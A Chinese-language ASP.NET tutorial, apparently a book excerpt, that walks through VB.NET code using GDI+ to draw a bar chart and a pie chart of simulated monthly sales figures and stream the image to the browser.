ASP.Net生成业务数据的统计图形

<script language='javascript' src='http://www.shiqiaotou.com/donetk/Header.js'></script>在使用Excel处理报表时候，往往要利用系统带的图表工具生成比例示意图，不仅直观，又显专业。当然，在Web应用程序中，也可以使用Office Web Components 功能，但是却很复杂。在.NET框架下，通过简单的编程，就可以轻松地做出地道的比例示意图。在使用GDI+作图的时候，除了要熟练应用.NET提供的类外，还要从整体上把握图形生成的坐标。在GDI+里，最左上角的坐标为（0，0），最右下角的做标值最大。

　　本节我们将通过GID+绘制图形。便于实例模拟，我们采用数组数据来模拟公司业务数据。

　　新建一个Web窗体，命名为GDI_Sample2.aspx，逻辑代码如下：

　　'-----code begin-----

　　Imports System.Drawing

　　Imports System.Drawing.Bitmap

　　Imports System.Drawing.Graphics

　　Imports System.Drawing.Imaging

　　Public Class GDI_Sample4

　　Inherits System.Web.UI.Page

　　#Region " Web 窗体设计器生成的代码 "

　　'此处省略窗体设计器生成的代码

　　#End Region

　　'定义公共数组变量，用来存放模拟公司销售额数据

　　Public data(5, 1) As String

　　Private Sub Page_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

　　'在此处放置初始化页的用户代码

　　Dim i As Int16

　　Dim objbitmap As Bitmap

　　objbitmap = New Bitmap(400, 300)

　　'声明Graphics对象

　　Dim objGraphics As Graphics

　　'指定画布

　　objGraphics = Graphics.FromImage(objbitmap)

　　'设置背景色为白色

　　objGraphics.Clear(Color.White)

　　'画出图形边框，注意留出划线的空间，为一个象素

　　objGraphics.DrawRectangle(Pens.Black, 1, 1, 398, 298)

　　'生成表头文字

　　objGraphics.DrawString("本公司上半年营业额统计图", New Font("宋体", 16, FontStyle.Bold), Brushes.Black, New PointF(60, 5))

　　'获取模拟数据

　　getdata()

　　Dim monthcolor As PointF = New PointF(260, 40)

　　Dim fontinfor As PointF = New PointF(285, 36)

　　'画出示意颜色图例

　　For i = 0 To 5

　　'画出填充矩形。

　　objGraphics.FillRectangle(New SolidBrush(getcolor(i)), monthcolor.X, monthcolor.Y, 20, 10)

　　'画出矩形边框。

　　objGraphics.DrawRectangle(Pens.Black, monthcolor.X, monthcolor.Y, 20, 10)

　　'画出图例说明文字－－data(i, 0)

　　objGraphics.DrawString(data(i, 0), New Font("宋体", 10), Brushes.Black, fontinfor)

　　'移动坐标位置，只移动Y方向的值即可。

　　monthcolor.Y += 15

　　fontinfor.Y += 15

　　Next i

　　'遍历数据源的每一项数据，并根据数据的大小画出矩形图（即柱形图的柱）。

　　For i = 0 To 5

　　'画出填充矩形。

　　objGraphics.FillRectangle(New SolidBrush(getcolor(i)), (i * 25) + 35, 270 - CInt(data(i, 1)), 15, CInt(data(i, 1)))

　　'画出矩形边框线。

　　objGraphics.DrawRectangle(Pens.Black, (i * 25) + 35, 270 - CInt(data(i, 1)), 15, CInt(data(i, 1)))

　　Next

　　'画出示意坐标

　　objGraphics.DrawLine(New Pen(Color.Blue, 1), 10, 0, 10, 320)

　　objGraphics.DrawLine(New Pen(Color.Blue, 1), 10, 270, 200, 270)

　　'在示意坐标上添加数值标志，注意坐标的计算

　　For i = 0 To 5

　　objGraphics.DrawLine(New Pen(Color.Blue, 1), 10, i * 50 + 20, 20, i * 50 + 20)

　　objGraphics.DrawString((250 - i * 50).ToString, New Font("宋体", 10), Brushes.Black, 12, i * 50 + 8)

　　Next

　　' 统计总销售额

　　Dim scount As Integer

　　For i = 0 To 5

　　scount += CInt(data(i, 1))

　　Next

　　'定义画出扇形角度变量

　　Dim scg As Single = 0

　　Dim stg As Single = 0

　　For i = 0 To 5

　　'计算当前角度值：当月销售额 / 总销售额 * 360，得到饼图中当月所占的角度大小。

　　scg = CInt(data(i, 1)) / scount * 360

　　'画出填充圆弧。

　　objGraphics.FillPie(New SolidBrush(getcolor(i)), _

　　220, 150, 120, 120, stg, scg)

　　'画出圆弧线。

　　objGraphics.DrawPie(Pens.Black, 220, 150, 120, 120, stg, scg)

　　'把当前圆弧角度加到总角度上。

　　stg += scg

　　Next i

　　'画出说明文字

　　objGraphics.DrawString("柱状图", New Font("宋体", 15, FontStyle.Bold), Brushes.Blue, 50, 272)

　　objGraphics.DrawString("饼状图", New Font("宋体", 15, FontStyle.Bold), Brushes.Blue, 250, 272)

　　'输入到终端－－用户浏览器

　　objbitmap.Save(Response.OutputStream, Drawing.Imaging.ImageFormat.Gif)

　　End Sub

　　'生成模拟数据的过程

　　Sub getdata()

　　Dim i As Integer

　　Dim objrandom As Random

　　data(0, 0) = "一月份"

　　data(1, 0) = "二月份"

　　data(2, 0) = "三月份"

　　data(3, 0) = "四月份"

　　data(4, 0) = "五月份"

　　data(5, 0) = "六月份"

　　data(0, 1) = "85"

　　data(1, 1) = "135"

　　data(2, 1) = "85"

　　data(3, 1) = "110"

　　data(4, 1) = "130"

　　data(5, 1) = "200"

　　End Sub

　　'获取色彩值的通用函数

　　Function getcolor(ByVal i As Int16) As Color

　　Dim newcolor As Color

　　i += 1

　　Select Case i

　　Case 1

　　newcolor = Color.Blue

　　Case 2

　　newcolor = Color.ForestGreen

　　Case 3

　　newcolor = Color.Gainsboro

　　Case 4

　　newcolor = Color.Moccasin

　　Case 5

　　newcolor = Color.Indigo

　　Case 6

　　newcolor = Color.BurlyWood

　　End Select

　　Return newcolor

　　End Function

　　End Class

　　'----code end -----

　　保存编译后，运行效果如图11.4所示。

图 11.4 GDI_Sample4.aspx运行结果

　　在实际应用中，往往要根据数据库中的数据来生成图形，比较好的实例就是在线投票统计图形，有兴趣的读者可以编写一下。

<script language='javascript' src='http://www.shiqiaotou.com/donetk/Footer.js'></script>